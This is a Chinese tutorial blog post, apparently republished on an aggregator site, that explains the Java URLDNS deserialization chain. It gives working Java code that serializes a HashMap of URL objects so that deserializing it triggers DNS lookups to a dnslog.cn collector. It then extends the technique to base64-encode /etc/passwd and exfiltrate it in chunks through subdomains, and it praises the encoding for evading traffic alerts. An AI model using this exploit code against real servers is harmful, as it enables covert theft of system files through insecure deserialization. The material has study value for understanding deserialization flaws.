java-URLDNS 链条审计

news/2024/9/28 17:32:29

java-URLDNS 链条审计

URLDNS 链条,是我们学习 java 反序列化的启蒙链条,通过 java 内置的类函数调用,达到 DNS 外带数据的目的。

首先让我们来看一个小实验

从 dnslog.cn 平台获取一个域名

public class urlDNS {public void URL() throws UnknownHostException {InetAddress address = InetAddress.getByName("1112222221.aro9b9.dnslog.cn");System.out.println(address.getHostName());}public static void main(String[] args) throws UnknownHostException {urlDNS  url = new urlDNS();url.URL();}
}

image-20240903190455668

可以看到,我们在前边定义的字符串会被正常外带出来

1)hashmap

hashmap 可以说是 java 反序列化梦开始的地方,可以通过反射,put 等操作,给它赋值。而他默认也实现了 Serializable 接口,也有 readObject()方法。就是反序列化的入口。好多反序列化漏洞都是基于 hashmap 的接口调用利用的。

运行一下这段代码

public class urlDNS {public void URLtest() throws Exception {URL url = new URL("http://1122334455.xq8dz5.dnslog.cn");Map<URL,String> map = new HashMap<>();map.put(url,"1111");}public static void main(String[] args) throws Exception {urlDNS  url = new urlDNS();url.URLtest();}
}

image-20240903192106126

我们在上述代码中并没有进行域名的访问,我们的操作只不过是创建了一个 UR 对象,并把这个对象添加到了 hashmap 中,怎么会有 dnslog 的信息带出来呢?

让我们看一看这段代码具体干了什么

hashmap 的 put()方法 ==> hashmap 的 hash() == > URL 的 hashCode() ==> URLStreamHandler 的 hashCode()

==> URLStreamHandler 的 getHostAddress() 最终自动完成域名的解析

打个断点,一步一步跟进一下,就会明白这个链条

2)反序列化

构造 URLDNS 的序列化文件

public void serialize() throws Exception{URL url = new URL("http://111122223333355555567.jlxmu8.dnslog.cn");Map<URL,String> map = new HashMap<URL,String>();Class clazz = Class.forName("java.net.URL");Field hashCode = clazz.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,22);map.put(url,"111");hashCode.set(url,-1);FileOutputStream fos = new FileOutputStream("src/main/upload/dnslog.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);oos.close();fos.close();}

这个方法就是序列化一个 URLDNS 的利用链条,当目标主机对我们上传的 ser 文件,进行反序列化时,就会触发 hashmap 里的链条,导致攻击者可以读取服务器数据

因为要对 URL 里的 hashCode 字段赋值为-1 才能满足调用要求,我们利用了 java 的反射机制对其私有变量强制赋值为-1

目标机器上只要有反序列化的方法可以让我们注入成功,就可以读取目标主机的信息了

public void unseri() throws Exception{FileInputStream fis = new FileInputStream("src/main/upload/dnslog.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();fis.close();ois.close();}

生成完序列化的 ser 文件,只需要执行反序列画这个方法,目标就会自动去调用我们已经构造好的 DNS 链条,实现数据外带

public static void main(String[] args) throws Exception{urlDNS urlDns = new urlDNS();// urlDns.serialize();urlDns.unseri();}

image-20240903200402651

3) 读取/etc/passwd

有了上边的基础,我们只需要把前面的字符串换成/etc/passwd 读取的变量是不是就可以读取出来了。

public void seriaPasswd() throws Exception{FileInputStream fis = new FileInputStream("src/main/upload/passwd");byte[] byteArray = new byte[fis.available()];fis.read(byteArray);String s = Base64.getEncoder().encodeToString(byteArray);System.out.println(s.length());int counts = s.length()/60;int tail = s.length()%60;List<Map> list = new ArrayList<>();for (int i = 0; i < counts; i++) {String substring = s.substring(i*60, 60*(i+1));// System.out.println(substring);URL url = new URL("http://"+ substring +".2xpfvy.dnslog.cn");Map<URL,String> map = new HashMap<>();map.put(url,"111");Class clazz = Class.forName("java.net.URL");Field hashCode = clazz.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,-1);list.add(map);}System.out.println(Arrays.toString(new List[]{list}));FileOutputStream fos = new FileOutputStream("src/main/upload/pass.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(list);}

由于域名不支持一些特殊字符,我们传递过程中可以进行 base64 加密,一方面可以保证我们拿到信息的完整性,另一方面,加密字符串不那么容易触发一些流量设备的告警,提高数据读取的隐蔽性。

为了演示方便,我把/etc/passwd 复制到了本地,

public void unseriaPasswd() throws Exception{FileInputStream fis = new FileInputStream("src/main/upload/pass.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();
}
public static void main(String[] args) throws Exception{urlDNS urlDns = new urlDNS();// urlDns.seriaPasswd();urlDns.unseriaPasswd();
}

image-20240903202038509

看到成功带出来 passwd 的内容,后边就是去处理用 base64 解密

基本原理就是这样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/56261.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

进程间通信——消息队列(通俗易懂)

消息队列 概念消息队列是消息的链表,存放在内核中并由消息队列标识符标识,消息队列克服了信号传递信息少、管道只能承载无格式字节流以及缓冲区大小受限等缺陷。消息队列包括 POSIX 消息队列和 System V 消息队列。消息队列是 UNIX 下不同进程之间实现共享资源的一种机制,UN…

我克隆了我自己,数字生命有什么意义?

个人语音模型、个人视频模型、个人LLM语言模型都是基于开源的项目,但是需要进行少量的代码修改和集成的工作,这个过程不说很艰难,但是确实遇到很多问题。1. 场景... 2 2. 数字生命意义... 2 3. 具体实现思路... 4 1. 场景孩子:爸爸,今天天气不错,我们一起去打篮球吧?!…

Python批量分割Excel后逐行做差、合并文件的方法

本文介绍基于Python语言,针对一个文件夹下大量的Excel表格文件,基于其中每一个文件,首先依据某一列数据的特征截取我们需要的数据,随后对截取出来的数据逐行求差,并基于其他多个文件夹中同样大量的Excel表格文件,进行数据跨文件合并的具体方法~本文介绍基于Python语言,针…

手动脱壳学习笔记1----手动脱upx壳

ESP定律脱壳 例题 https://files.buuoj.cn/files/ee7f29503c7140ae31d8aafc1a7ba03f/attachment.tar 两下F9按一下F9,ESP变红在ESP处右键在内存窗口处转到在下面的内存下硬件断点再按一下F9在401280处下断点scylla插件输入00401820最后处理

我的第一次随笔

软件工程 https://edu.cnblogs.com/campus/fzu/SE2024/join?id=CfDJ8AOXHS93SCdEnLt5HW8VuxRT6AQqVs0mNHhOMFCtt8IMscU6Av_iCXeJ1yrZksLek4Sb4eQ33ielNgQZ17WNvtTHzyIIaHFdy4c1XbJ0CE2yknMRYdVBQ0jOrgoKTOKwvcAZuUiQqpoOYBFbKCcvozo要求 https://edu.cnblogs.com/campus/fzu/S…

应用程序报错漏洞修复

漏洞描述 错误页面由服务器产生400、403、404、500等错误时,返回详细错误信息。报错信息中可能会包含服务器代码信息、服务器版本信息、模板类型、数据库连接信息、SQL语句或者敏感文件的路径。修复 修改nginx配置# 其他配置...server {# 其他配置...# 指定 400 错误页面error…

PbootCMS模板调用幻灯片轮播图及参数说明

在 PbootCMS 中,{pboot:slide} 标签用于输出指定分组的幻灯片。以下是一个详细的示例,展示了如何使用 {pboot:slide} 标签来输出指定分组的幻灯片,并控制显示的数量。扫码添加技术【解决问题】专注中小企业网站建设、网站安全12年。熟悉各种CMS,精通PHP+MYSQL、HTML5、CSS3…

2-SAT 学习笔记

一、简介 k-SAT (satisfiability) 解决这样一类问题:给定 \(n\) 个布尔变量和 \(m\) 条限制,每条限制形如 \(x_1=0/1\or\cdots\or x_n=0/1\) ,求是否有解并给出构造。 当 \(k\gt 2\) 时,该问题为 NP 完全问题。 二、算法流程 在学习本算法前,请确保你对有向图强连通分量有…